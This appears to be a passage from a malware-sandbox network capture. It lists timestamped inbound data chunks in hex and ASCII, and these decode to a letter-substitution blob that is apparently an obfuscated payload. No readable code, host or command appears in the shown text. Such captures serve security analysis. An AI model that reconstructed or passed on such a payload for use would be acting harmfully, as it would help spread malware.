2021-10-29 18:10:39 UTC	57	IN	Data Raw: 44 20 71 70 58 20 71 71 6d 20 71 4f 4f 20 71 4f 44 20 71 4f 70 20 71 4f 44 20 70 57 20 57 70 20 70 4d 20 58 70 20 4d 4d 20 71 71 57 20 4a 4a 45 20 4a 57 20 4f 20 71 6d 44 20 4a 70 44 20 57 70 20 71 71 6d 20 71 45 4a 20 71 71 45 20 71 4a 6d 20 71 71 44 20 4d 70 20 44 4f 20 57 4f 20 57 6d 20 4d 6d 20 45 4a 20 6d 71 20 71 6d 44 20 71 6d 70 20 4a 4f 57 20 4a 70 58 20 44 4a 20 70 4d 20 58 4f 20 4d 6d 20 71 71 6d 20 71 4a 6d 20 71 71 44 20 4d 70 20 57 4d 20 57 4f 20 57 6d 20 4d 6d 20 71 45 6d 20 71 45 71 20 71 71 4f 20 58 44 20 4a 70 44 20 6d 58 20 57 58 20 70 70 20 71 4a 20 71 4a 44 20 71 4a 57 20 71 4f 44 20 4a 57 6d 20 4d 71 20 71 57 20 4a 4f 20 4a 4f 71 20 71 45 71 20 71 6d 71 20 71 45 71 20 71 71 4f 20 58 44 20 4a 70 44 20 6d 58 20 57 4a 20 4a 58 20 58 57 Data Ascii: D qpX qqm qOO qOD qOp qOD pW Wp pM Xp MM qqW JJE JW O qmD JpD Wp qqm qEJ qqE qJm qqD Mp DO WO Wm Mm EJ mq qmD qmp JOW JpX DJ pM XO Mm qqm qJm qqD Mp WM WO Wm Mm qEm qEq qqO XD JpD mX WX pp qJ qJD qJW qOD JWm Mq qW JO JOq qEq qmq qEq qqO XD JpD mX WJ JX XW
2021-10-29 18:10:39 UTC	61	IN	Data Raw: 20 4a 4a 6d 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 4a 70 20 4a 44 20 71 4a 20 71 58 4a 20 57 4f 20 57 6d 20 58 6d 20 4d 4d 20 71 4f 4f 20 4a 20 71 44 44 20 57 4f 20 6d 58 20 57 44 20 70 4d 20 4d 4a 20 44 44 20 71 6d 20 71 4f 44 20 58 4f 20 57 4f 20 6d 58 20 71 58 20 57 70 20 44 4a 20 4d 70 20 45 20 71 4a 6d 20 4d 45 20 4d 70 20 71 4d 20 57 4f 20 57 6d 20 4d 6d 20 4a 4d 20 58 71 20 71 4f 4d 20 71 71 4a 20 57 44 20 70 4d 20 71 4d 71 20 71 71 4f 20 58 6d 20 71 71 6d 20 71 71 44 20 45 4a 20 71 4f 4a 20 6d 4a 20 71 58 4d 20 71 4f 6d 20 57 6d 20 58 6d 20 71 71 57 20 58 4f 20 71 4a 70 20 71 71 71 20 58 20 71 45 70 20 4a 70 20 70 70 20 45 57 20 6d 44 20 4a 70 4a 20 70 4f 20 45 4a 20 57 4f 20 6d 58 20 57 44 20 71 6d 58 20 44 45 20 4a 4d 20 57 4d 20 71 4f 4d 20 71 Data Ascii: JJm Xm qqm qJE qJp JD qJ qXJ WO Wm Xm MM qOO J qDD WO mX WD pM MJ DD qm qOD XO WO mX qX Wp DJ Mp E qJm ME Mp qM WO Wm Mm JM Xq qOM qqJ WD pM qMq qqO Xm qqm qqD EJ qOJ mJ qXM qOm Wm Xm qqW XO qJp qqq X qEp Jp pp EW mD JpJ pO EJ WO mX WD qmX DE JM WM qOM q
2021-10-29 18:10:39 UTC	65	IN	Data Raw: 20 71 4f 70 20 4a 71 4f 20 4a 44 20 4a 71 44 20 57 4f 20 57 6d 20 58 4a 20 4a 4d 20 71 44 58 20 71 4f 4d 20 71 71 4a 20 57 44 20 57 57 20 4d 70 20 4a 4a 20 58 6d 20 71 71 6d 20 71 4a 45 20 4d 45 20 45 4a 20 71 45 57 20 6d 58 20 57 4f 20 57 6d 20 45 4f 20 71 71 4a 20 4d 70 20 45 44 20 71 71 4a 20 57 4f 20 57 58 20 44 70 20 44 70 20 70 4d 20 58 4f 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 4a 44 20 71 4d 20 57 4f 20 57 6d 20 4d 6d 20 4a 4d 20 58 71 20 71 4f 4d 20 71 71 4a 20 57 44 20 6d 45 20 6d 4f 20 70 4f 20 44 20 71 71 6d 20 71 71 45 20 71 4f 70 20 4a 20 71 45 4d 20 57 4f 20 57 4f 20 45 4f 20 71 4a 6d 20 58 4d 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 45 44 20 6d 44 20 57 4f 20 57 6d 20 4d 6d 20 4a 4d 20 71 4f 44 20 71 4f 4d 20 71 71 4a 20 57 44 20 6d 45 20 6d Data Ascii: qOp JqO JD JqD WO Wm XJ JM qDX qOM qqJ WD WW Mp JJ Xm qqm qJE ME EJ qEW mX WO Wm EO qqJ Mp ED qqJ WO WX Dp Dp pM XO qqE qOM qJJ JD qM WO Wm Mm JM Xq qOM qqJ WD mE mO pO D qqm qqE qOp J qEM WO WO EO qJm XM qqE qOM qJJ ED mD WO Wm Mm JM qOD qOM qqJ WD mE m
2021-10-29 18:10:39 UTC	69	IN	Data Raw: 4d 70 20 57 4d 20 57 4f 20 57 6d 20 4d 6d 20 71 45 6d 20 71 45 71 20 71 71 4f 20 58 44 20 4a 70 44 20 6d 58 20 57 4a 20 4a 58 20 58 6d 20 71 71 6d 20 71 71 45 20 6d 6d 20 71 4a 20 57 4f 20 6d 58 20 6d 58 20 57 6d 20 58 6d 20 71 71 6d 20 4a 70 71 20 71 4f 58 20 71 71 4a 20 57 4f 20 71 57 44 20 57 4f 20 57 6d 20 58 6d 20 45 44 20 71 71 4d 20 71 4f 4d 20 71 71 4a 20 44 4a 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 71 70 70 20 58 6d 20 71 71 6d 20 71 71 45 20 4a 6d 6d 20 71 71 70 20 57 4f 20 6d 58 20 71 4a 44 20 57 4a 20 58 6d 20 71 71 6d 20 71 71 58 20 71 4f 4d 20 71 71 4a 20 57 4f 20 57 58 20 57 4f 20 57 6d 20 58 57 20 71 71 4a 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 71 6d 58 20 6d 58 20 Data Ascii: Mp WM WO Wm Mm qEm qEq qqO XD JpD mX WJ JX Xm qqm qqE mm qJ WO mX mX Wm Xm qqm Jpq qOX qqJ WO qWD WO Wm Xm ED qqM qOM qqJ DJ mX WO Wm Xm qqm qqE qOM qqJ WO mX WO qpp Xm qqm qqE Jmm qqp WO mX qJD WJ Xm qqm qqX qOM qqJ WO WX WO Wm XW qqJ qqE qOM qqJ qmX mX
2021-10-29 18:10:39 UTC	73	IN	Data Raw: 70 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 4f 45 20 70 20 71 4d 4d 20 6d 58 20 57 4f 20 6d 58 20 58 58 20 71 4a 4a 20 71 71 6d 20 4a 20 71 4a 58 20 57 4f 20 6d 58 20 57 4a 20 44 4a 20 45 57 20 71 4a 70 20 4a 6d 58 20 57 57 20 71 71 4a 20 57 4f 20 6d 4d 20 4a 70 20 4a 70 4f 20 4a 6d 70 20 71 71 6d 20 71 71 45 20 71 4f 57 20 58 58 20 57 20 6d 58 20 57 4f 20 44 4f 20 70 4d 20 45 6d 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 44 6d 20 71 57 20 6d 58 20 57 6d 20 70 44 20 71 4a 20 71 4f 45 20 71 4f 4d 20 71 71 4a 20 57 44 20 4a 6d 20 6d 57 20 57 6d 20 58 6d 20 71 4a 4f 20 4a 44 20 71 57 4d 20 71 71 4a 20 57 4f 20 57 6d 20 57 58 20 70 4a 20 57 4d 20 71 70 6d 20 71 71 45 20 71 4f 4d 20 71 71 58 20 57 58 20 4d 57 20 4a 70 45 20 57 6d 20 58 6d 20 71 4a 4f 20 71 45 71 20 Data Ascii: p Xm qqm qJE qOE p qMM mX WO mX XX qJJ qqm J qJX WO mX WJ DJ EW qJp JmX WW qqJ WO mM Jp JpO Jmp qqm qqE qOW XX W mX WO DO pM Em qqE qOM qJJ Dm qW mX Wm pD qJ qOE qOM qqJ WD Jm mW Wm Xm qJO JD qWM qqJ WO Wm WX pJ WM qpm qqE qOM qqX WX MW JpE Wm Xm qJO qEq
2021-10-29 18:10:39 UTC	77	IN	Data Raw: 4f 20 57 6d 20 58 4f 20 4a 57 4a 20 4a 58 20 45 71 20 71 71 4a 20 57 4f 20 6d 70 20 4a 20 6d 4d 20 58 6d 20 4f 20 71 71 70 20 71 4f 4d 20 71 71 4a 20 45 20 6d 58 20 57 4f 20 70 4d 20 58 44 20 4d 20 71 4f 71 20 71 4f 4d 20 71 71 4a 20 57 6d 20 57 71 20 71 58 6d 20 71 44 45 20 45 57 20 71 4a 45 20 57 70 20 71 58 45 20 71 71 57 20 57 4f 20 6d 58 20 6d 58 20 57 70 20 44 71 20 71 4f 45 20 6d 57 20 71 71 45 20 58 58 20 71 4a 58 20 6d 58 20 57 4f 20 6d 58 20 44 45 20 4a 6d 20 6d 6d 20 4f 20 71 4a 4a 20 70 44 20 57 4d 20 6d 58 20 45 45 20 44 6d 20 71 71 6d 20 71 71 45 20 71 4f 57 20 4d 4a 20 71 44 20 57 4f 20 45 70 20 70 6d 20 58 6d 20 71 71 6d 20 71 71 70 20 4a 4a 45 20 4a 57 20 57 45 20 57 4f 20 45 58 20 70 6d 20 58 6d 20 71 71 6d 20 71 71 70 20 71 71 71 20 71 Data Ascii: O Wm XO JWJ JX Eq qqJ WO mp J mM Xm O qqp qOM qqJ E mX WO pM XD M qOq qOM qqJ Wm Wq qXm qDE EW qJE Wp qXE qqW WO mX mX Wp Dq qOE mW qqE XX qJX mX WO mX DE Jm mm O qJJ pD WM mX EE Dm qqm qqE qOW MJ qD WO Ep pm Xm qqm qqp JJE JW WE WO EX pm Xm qqm qqp qqq q
2021-10-29 18:10:39 UTC	82	IN	Data Raw: 70 4a 20 58 6d 20 71 71 6d 20 71 71 57 20 4f 20 4d 4d 20 57 57 20 57 71 20 6d 57 20 58 4a 20 44 4a 20 44 57 20 71 71 4f 20 71 71 71 20 71 71 6d 20 70 57 20 57 70 20 6d 4f 20 70 4f 20 4a 70 4f 20 71 71 6d 20 71 71 45 20 71 4f 45 20 71 4f 70 20 58 58 20 71 4f 57 20 6d 58 20 45 45 20 44 4d 20 71 71 6d 20 71 71 45 20 71 4f 57 20 6d 4a 20 4a 44 20 71 4a 58 20 57 4f 20 57 6d 20 58 4a 20 58 4d 20 71 4f 6d 20 71 71 71 20 71 71 6d 20 6d 4d 20 70 70 20 57 57 20 58 58 20 71 4a 20 4a 45 20 71 71 71 20 44 4d 20 71 4d 6d 20 57 4f 20 6d 58 20 57 4a 20 70 70 20 44 4a 20 6d 70 20 71 71 4d 20 4a 4a 20 4d 45 20 57 4f 20 6d 58 20 57 6d 20 71 4f 58 20 71 4a 6d 20 71 4d 6d 20 71 71 45 20 71 4f 4d 20 71 71 58 20 70 57 20 57 4a 20 70 45 20 71 71 4f 20 45 71 20 71 71 58 20 71 4f Data Ascii: pJ Xm qqm qqW O MM WW Wq mW XJ DJ DW qqO qqq qqm pW Wp mO pO JpO qqm qqE qOE qOp XX qOW mX EE DM qqm qqE qOW mJ JD qJX WO Wm XJ XM qOm qqq qqm mM pp WW XX qJ JE qqq DM qMm WO mX WJ pp DJ mp qqM JJ ME WO mX Wm qOX qJm qMm qqE qOM qqX pW WJ pE qqO Eq qqX qO
2021-10-29 18:10:39 UTC	86	IN	Data Raw: 4a 20 57 4f 20 57 58 20 70 70 20 57 71 20 44 4d 20 71 71 4d 20 4d 4d 20 4d 4a 20 4d 44 20 57 70 20 70 70 20 57 6d 20 6d 4d 20 44 4d 20 71 71 58 20 4a 70 4d 20 71 4a 70 20 4d 45 20 57 57 20 4d 57 20 4a 4f 4f 20 57 6d 20 58 6d 20 71 4a 4f 20 4a 71 57 20 71 4f 44 20 4d 45 20 57 6d 20 71 45 4f 20 44 6d 20 57 4d 20 4d 57 20 71 71 6d 20 57 20 71 71 4d 20 70 71 20 71 4d 44 20 6d 58 20 57 4f 20 44 4f 20 71 4a 4f 20 71 71 4f 20 71 71 4d 20 71 45 20 4d 58 20 57 4f 20 6d 58 20 57 6d 20 70 4d 20 58 4f 20 71 4f 71 20 6d 57 20 44 4d 20 71 4f 4d 20 57 4f 20 6d 58 20 4a 57 20 57 4a 20 6d 45 20 4d 44 20 71 71 45 20 71 4f 4d 20 71 71 44 20 70 57 20 57 4a 20 57 70 20 70 4d 20 58 4f 20 4a 70 4a 20 4a 71 57 20 71 4a 6d 20 71 71 44 20 70 45 20 71 4f 6d 20 70 70 20 57 4f 20 44 Data Ascii: J WO WX pp Wq DM qqM MM MJ MD Wp pp Wm mM DM qqX JpM qJp ME WW MW JOO Wm Xm qJO JqW qOD ME Wm qEO Dm WM MW qqm W qqM pq qMD mX WO DO qJO qqO qqM qE MX WO mX Wm pM XO qOq mW DM qOM WO mX JW WJ mE MD qqE qOM qqD pW WJ Wp pM XO JpJ JqW qJm qqD pE qOm pp WO D
2021-10-29 18:10:39 UTC	90	IN	Data Raw: 4f 20 58 6d 20 71 71 6d 20 71 71 44 20 71 71 57 20 71 71 6d 20 45 70 20 70 45 20 57 4f 20 57 6d 20 58 4f 20 58 58 20 71 71 4f 20 4d 70 20 71 71 6d 20 57 4f 20 4a 4f 4a 20 57 4f 20 57 6d 20 58 6d 20 45 4d 20 71 71 45 20 71 4f 4d 20 4d 45 20 44 57 20 44 70 20 57 71 20 57 6d 20 4d 6d 20 71 4a 4f 20 71 71 58 20 4a 20 4d 44 20 57 71 20 6d 58 20 57 44 20 44 71 20 71 4f 58 20 71 58 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 70 20 4d 57 20 70 57 20 57 57 20 58 6d 20 71 4a 4f 20 71 4a 71 20 71 71 71 20 58 58 20 4a 6d 45 20 6d 58 20 57 4f 20 6d 58 20 4d 4a 20 4a 4d 20 4a 71 44 20 71 4f 58 20 71 71 4a 20 57 4a 20 4a 6d 20 4a 6d 4d 20 57 6d 20 58 6d 20 71 71 44 20 45 44 20 71 4d 4a 20 71 71 4a 20 57 4f 20 6d 58 20 44 57 20 71 6d 4a 20 58 6d 20 71 71 6d 20 71 71 57 Data Ascii: O Xm qqm qqD qqW qqm Ep pE WO Wm XO XX qqO Mp qqm WO JOJ WO Wm Xm EM qqE qOM ME DW Dp Wq Wm Mm qJO qqX J MD Wq mX WD Dq qOX qXm qqE qOM qqJ Wp MW pW WW Xm qJO qJq qqq XX JmE mX WO mX MJ JM JqD qOX qqJ WJ Jm JmM Wm Xm qqD ED qMJ qqJ WO mX DW qmJ Xm qqm qqW
2021-10-29 18:10:39 UTC	94	IN	Data Raw: 20 4d 70 20 45 20 58 57 20 71 71 6d 20 71 4a 45 20 71 4f 71 20 4d 4f 20 57 4f 20 6d 58 20 6d 71 20 44 20 58 45 20 71 71 6d 20 6d 4a 20 71 4f 4d 20 71 71 4a 20 57 4f 20 71 71 44 20 57 4f 20 57 6d 20 44 4d 20 71 4f 4f 20 4d 70 20 71 58 58 20 71 71 4a 20 57 4f 20 57 6d 20 57 44 20 70 4f 20 71 4f 4a 20 71 71 57 20 71 71 45 20 71 4f 70 20 70 71 20 71 20 6d 4d 20 57 4f 20 44 4f 20 58 58 20 4d 44 20 71 71 4d 20 44 4d 20 44 58 20 57 71 20 6d 58 20 57 44 20 4d 4f 20 58 4a 20 6d 4f 20 4d 70 20 4d 57 20 71 71 70 20 57 4f 20 57 58 20 4d 70 20 57 20 58 57 20 71 71 6d 20 71 4a 45 20 4d 45 20 4d 58 20 6d 58 20 4a 6d 20 45 20 57 57 20 58 6d 20 71 4a 4f 20 4a 57 20 71 4f 45 20 6d 4a 20 57 45 20 58 4d 20 57 70 20 4d 57 20 70 4d 20 44 58 20 71 71 44 20 71 4f 4d 20 71 4a 4a Data Ascii: Mp E XW qqm qJE qOq MO WO mX mq D XE qqm mJ qOM qqJ WO qqD WO Wm DM qOO Mp qXX qqJ WO Wm WD pO qOJ qqW qqE qOp pq q mM WO DO XX MD qqM DM DX Wq mX WD MO XJ mO Mp MW qqp WO WX Mp W XW qqm qJE ME MX mX Jm E WW Xm qJO JW qOE mJ WE XM Wp MW pM DX qqD qOM qJJ
2021-10-29 18:10:39 UTC	97	IN	Data Raw: 20 71 71 45 20 71 4f 4d 20 58 58 20 71 4a 44 20 6d 4d 20 57 4f 20 44 4f 20 6d 4a 20 58 4a 20 71 71 44 20 71 4f 4d 20 71 71 44 20 4a 70 20 4a 4d 20 70 45 20 71 44 20 6d 4a 20 71 4f 58 20 71 71 44 20 71 4f 4d 20 71 71 44 20 4a 4f 6d 20 57 6d 20 71 58 20 57 4a 20 58 6d 20 71 71 44 20 44 20 70 4a 20 71 71 70 20 57 4f 20 57 58 20 4a 70 20 71 58 4a 20 71 71 44 20 71 71 57 20 71 71 45 20 71 4f 57 20 58 58 20 4a 70 20 6d 58 20 57 4f 20 4a 4d 20 71 4a 6d 20 58 6d 20 71 71 45 20 71 4f 4d 20 4d 71 20 4d 70 20 71 4a 45 20 57 71 20 57 6d 20 4d 6d 20 4a 4d 20 70 45 20 71 4f 58 20 71 71 4a 20 57 44 20 4d 57 20 4d 4d 20 57 57 20 58 6d 20 71 4a 4f 20 71 4a 45 20 45 4f 20 45 45 20 57 4a 20 4d 57 20 4d 44 20 57 57 20 58 6d 20 71 4a 4f 20 71 4a 44 20 71 4f 44 20 70 71 20 4d Data Ascii: qqE qOM XX qJD mM WO DO mJ XJ qqD qOM qqD Jp JM pE qD mJ qOX qqD qOM qqD JOm Wm qX WJ Xm qqD D pJ qqp WO WX Jp qXJ qqD qqW qqE qOW XX Jp mX WO JM qJm Xm qqE qOM Mq Mp qJE Wq Wm Mm JM pE qOX qqJ WD MW MM WW Xm qJO qJE EO EE WJ MW MD WW Xm qJO qJD qOD pq M
2021-10-29 18:10:39 UTC	101	IN	Data Raw: 71 44 20 70 57 20 57 6d 20 70 58 20 58 4d 20 71 58 57 20 71 71 6d 20 71 71 45 20 71 4f 70 20 70 71 20 71 58 71 20 6d 58 20 57 4f 20 44 4f 20 71 4a 6d 20 71 58 6d 20 71 71 45 20 71 4f 4d 20 71 71 58 20 4d 70 20 71 44 4d 20 57 71 20 57 6d 20 58 4a 20 4d 4d 20 71 71 70 20 4a 20 4a 70 4a 20 57 71 20 6d 58 20 57 4a 20 4a 44 20 45 58 20 4d 4d 20 71 71 70 20 71 4a 6d 20 71 71 44 20 4d 70 20 71 44 58 20 57 71 20 57 6d 20 58 4a 20 4d 4f 20 71 71 20 71 4f 58 20 71 71 4a 20 57 44 20 4d 57 20 45 45 20 57 57 20 58 6d 20 71 4a 4f 20 4a 44 20 4a 57 4f 20 71 71 70 20 57 4f 20 57 6d 20 4a 57 20 57 58 20 44 4d 20 71 71 58 20 45 20 71 70 6d 20 71 4a 44 20 57 4f 20 44 6d 20 4d 70 20 71 44 71 20 58 57 20 71 71 6d 20 71 71 57 20 71 4f 45 20 4d 45 20 57 6d 20 4d 57 20 71 45 58 Data Ascii: qD pW Wm pX XM qXW qqm qqE qOp pq qXq mX WO DO qJm qXm qqE qOM qqX Mp qDM Wq Wm XJ MM qqp J JpJ Wq mX WJ JD EX MM qqp qJm qqD Mp qDX Wq Wm XJ MO qq qOX qqJ WD MW EE WW Xm qJO JD JWO qqp WO Wm JW WX DM qqX E qpm qJD WO Dm Mp qDq XW qqm qqW qOE ME Wm MW qEX
2021-10-29 18:10:39 UTC	105	IN	Data Raw: 57 4f 20 71 4a 6d 20 44 4d 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 44 57 20 58 20 57 4f 20 57 6d 20 4d 6d 20 71 4f 4d 20 71 4a 70 20 4a 4a 6d 20 6d 4a 20 57 4f 20 6d 58 20 57 71 20 71 4d 20 71 70 4a 20 71 45 4d 20 71 71 45 20 71 4f 4d 20 71 71 44 20 4a 44 20 45 20 57 4f 20 57 6d 20 4d 6d 20 71 20 45 45 20 71 4f 4d 20 71 71 4a 20 57 44 20 70 70 20 57 58 20 70 4f 20 71 4a 45 20 71 71 6d 20 71 71 45 20 71 4f 70 20 70 20 45 57 20 6d 4d 20 57 4f 20 44 4f 20 45 71 20 71 4a 70 20 71 4f 4f 20 71 4f 4f 20 70 71 20 44 57 20 6d 4d 20 57 4f 20 44 4f 20 45 71 20 71 4a 4f 20 71 4f 4f 20 71 4f 70 20 70 71 20 45 4f 20 6d 4d 20 57 4f 20 44 4f 20 45 71 20 71 71 44 20 4d 6d 20 71 57 20 4d 45 20 57 4a 20 4d 57 20 45 71 20 57 57 20 58 6d 20 71 4a 4f 20 71 4f 4a 20 71 4f 4a 20 Data Ascii: WO qJm DM qqE qOM qJJ DW X WO Wm Mm qOM qJp JJm mJ WO mX Wq qM qpJ qEM qqE qOM qqD JD E WO Wm Mm q EE qOM qqJ WD pp WX pO qJE qqm qqE qOp p EW mM WO DO Eq qJp qOO qOO pq DW mM WO DO Eq qJO qOO qOp pq EO mM WO DO Eq qqD Mm qW ME WJ MW Eq WW Xm qJO qOJ qOJ
2021-10-29 18:10:39 UTC	109	IN	Data Raw: 20 57 6d 20 58 6d 20 71 71 6d 20 71 6d 70 20 71 4f 4d 20 71 71 4a 20 57 4f 20 4a 4f 20 57 71 20 57 6d 20 58 6d 20 71 4a 4f 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 58 20 57 4f 20 6d 58 20 57 4f 20 4a 58 20 58 57 20 71 71 6d 20 71 71 45 20 4d 70 20 71 71 70 20 57 4f 20 6d 58 20 6d 4d 20 57 6d 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 4f 4d 20 71 71 4a 20 57 71 20 6d 70 20 4a 20 57 70 20 58 6d 20 6d 4d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 4d 4d 20 6d 58 20 57 4f 20 70 4d 20 70 4d 20 4a 71 70 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 57 44 20 4a 6d 20 71 58 4f 20 57 57 20 58 6d 20 71 4a 4f 20 4d 70 20 44 4d 20 71 71 4a 20 57 4f 20 4a 45 20 45 44 20 4a 71 20 58 57 20 71 71 6d 20 Data Ascii: Wm Xm qqm qmp qOM qqJ WO JO Wq Wm Xm qJO qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqX WO mX WO JX XW qqm qqE Mp qqp WO mX mM Wm Xm qqm qJE qOM qqJ Wq mp J Wp Xm mM qqE qOM qqJ MM mX WO pM pM Jqp qqE qOM qJJ WD Jm qXO WW Xm qJO Mp DM qqJ WO JE ED Jq XW qqm
2021-10-29 18:10:39 UTC	114	IN	Data Raw: 58 20 44 6d 20 57 57 20 6d 58 20 71 4a 57 20 57 6d 20 58 6d 20 71 71 6d 20 70 4a 20 71 4f 4d 20 71 71 4a 20 70 57 20 57 4f 20 70 45 20 71 58 45 20 71 6d 20 71 71 6d 20 71 71 45 20 71 4f 58 20 58 57 20 70 44 20 6d 45 20 71 71 4f 20 71 45 71 20 44 45 20 4a 4d 20 71 58 20 71 4f 4d 20 71 71 4a 20 57 44 20 57 58 20 57 4a 20 6d 58 20 4a 71 58 20 4a 45 20 71 4f 4d 20 57 4a 20 4a 70 6d 20 6d 57 20 57 45 20 71 4d 71 20 71 4f 58 20 58 6d 20 71 71 6d 20 71 71 44 20 45 4a 20 71 44 4f 20 71 4d 57 20 6d 58 20 57 4f 20 57 4f 20 71 4a 6d 20 44 4d 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 44 57 20 58 20 57 4f 20 57 6d 20 4d 6d 20 4a 4d 20 58 4f 20 71 4f 4d 20 71 71 4a 20 57 44 20 4a 58 20 57 44 20 6d 58 20 58 4a 20 4a 57 4a 20 4a 58 20 71 4a 4a 20 6d 71 20 71 44 58 20 57 4d Data Ascii: X Dm WW mX qJW Wm Xm qqm pJ qOM qqJ pW WO pE qXE qm qqm qqE qOX XW pD mE qqO qEq DE JM qX qOM qqJ WD WX WJ mX JqX JE qOM WJ Jpm mW WE qMq qOX Xm qqm qqD EJ qDO qMW mX WO WO qJm DM qqE qOM qJJ DW X WO Wm Mm JM XO qOM qqJ WD JX WD mX XJ JWJ JX qJJ mq qDX WM
2021-10-29 18:10:39 UTC	118	IN	Data Raw: 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 57 4f 20 45 70 20 71 71 45 20 58 6d 20 71 71 6d 20 71 71 70 20 71 4d 20 6d 20 57 4f 20 6d 58 20 57 44 20 70 4f 20 71 4d 4d 20 71 71 57 20 71 71 45 20 71 4f 70 20 4d 4a 20 57 45 20 57 4f 20 45 70 20 71 71 45 20 58 6d 20 71 71 6d 20 71 71 70 20 44 4d 20 4a 20 57 4f 20 6d 58 20 57 44 20 57 4a 20 6d 45 20 57 70 20 71 71 45 20 71 4f 4d 20 71 71 44 20 45 44 20 44 58 20 57 4f 20 57 6d 20 4d 6d 20 4d 4f 20 4a 70 4f 20 71 4f 58 20 71 71 4a 20 57 44 20 4a 58 20 57 45 20 57 4a 20 6d 45 20 57 70 20 71 71 45 20 71 4f 4d 20 71 71 44 20 4a 44 20 44 44 20 57 4f 20 57 6d 20 4d 6d 20 71 71 4a 20 71 6d 20 6d 4f 20 71 71 4a 20 57 4f 20 57 4a 20 45 44 20 44 44 20 58 6d 20 71 71 6d 20 71 4a 45 20 44 4d 20 4a 4a 45 20 57 71 20 6d 58 Data Ascii: qqE qOM qqJ WO WO Ep qqE Xm qqm qqp qM m WO mX WD pO qMM qqW qqE qOp MJ WE WO Ep qqE Xm qqm qqp DM J WO mX WD WJ mE Wp qqE qOM qqD ED DX WO Wm Mm MO JpO qOX qqJ WD JX WE WJ mE Wp qqE qOM qqD JD DD WO Wm Mm qqJ qm mO qqJ WO WJ ED DD Xm qqm qJE DM JJE Wq mX
2021-10-29 18:10:39 UTC	122	IN	Data Raw: 45 6d 20 71 71 4a 20 71 6d 20 4a 57 6d 20 71 71 4a 20 57 4f 20 57 4a 20 4a 6d 20 4a 4f 20 58 44 20 71 71 70 20 58 20 4a 57 6d 20 71 71 4a 20 57 4f 20 57 4a 20 4a 6d 20 6d 4f 20 58 44 20 4d 20 4a 4a 57 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 44 20 71 44 20 57 4a 20 58 45 20 71 57 20 4a 4a 57 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 44 20 6d 6d 20 57 4a 20 6d 45 20 4a 70 71 20 71 71 45 20 71 4f 4d 20 71 71 44 20 4a 6d 20 71 58 20 6d 58 20 57 70 20 6d 71 20 4a 70 71 20 71 71 45 20 71 4f 4d 20 71 71 44 20 4a 6d 20 6d 44 20 6d 58 20 45 45 20 71 4d 6d 20 71 71 6d 20 71 71 45 20 71 4f 57 20 4d 4f 20 71 44 20 57 4f 20 6d 4d 20 45 57 20 71 4d 6d 20 71 71 6d 20 71 71 45 20 71 4f 57 20 4d 4f 20 6d 6d 20 57 4f 20 45 70 20 71 44 71 20 58 6d 20 71 71 6d 20 71 71 70 20 45 Data Ascii: Em qqJ qm JWm qqJ WO WJ Jm JO XD qqp X JWm qqJ WO WJ Jm mO XD M JJW qOM qqJ Wm JD qD WJ XE qW JJW qOM qqJ Wm JD mm WJ mE Jpq qqE qOM qqD Jm qX mX Wp mq Jpq qqE qOM qqD Jm mD mX EE qMm qqm qqE qOW MO qD WO mM EW qMm qqm qqE qOW MO mm WO Ep qDq Xm qqm qqp E
2021-10-29 18:10:39 UTC	126	IN	Data Raw: 44 20 57 4f 20 57 6d 20 58 57 20 58 45 20 4d 4d 20 71 71 6d 20 45 6d 20 71 45 57 20 4d 57 20 4a 70 44 20 57 6d 20 58 6d 20 71 4a 4f 20 4d 58 20 4a 6d 45 20 4a 20 71 58 4d 20 70 44 20 57 4f 20 45 4f 20 71 4a 6d 20 6d 45 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 4a 6d 20 70 4d 20 4a 6d 20 57 6d 20 58 6d 20 4d 45 20 44 4d 20 71 71 71 20 71 71 4a 20 71 4a 45 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 57 20 4d 70 20 71 6d 58 20 57 71 20 57 6d 20 4d 6d 20 71 4f 71 20 45 4f 20 6d 45 20 71 71 57 20 70 44 20 4d 57 20 71 57 71 20 57 57 20 58 6d 20 71 4a 4f 20 58 4d 20 58 6d 20 71 71 57 20 4d 70 20 71 4a 45 20 57 71 20 57 6d 20 4d 6d 20 4a 4d 20 4a 71 71 20 71 4f 58 20 71 71 4a 20 57 44 20 4d 57 20 71 6d 4d 20 57 57 20 58 6d 20 71 Data Ascii: D WO Wm XW XE MM qqm Em qEW MW JpD Wm Xm qJO MX JmE J qXM pD WO EO qJm mE qqE qOM qJJ Jm pM Jm Wm Xm ME DM qqq qqJ qJE mX WO Wm Xm qqm qqE qOM qqW Mp qmX Wq Wm Mm qOq EO mE qqW pD MW qWq WW Xm qJO XM Xm qqW Mp qJE Wq Wm Mm JM Jqq qOX qqJ WD MW qmM WW Xm q
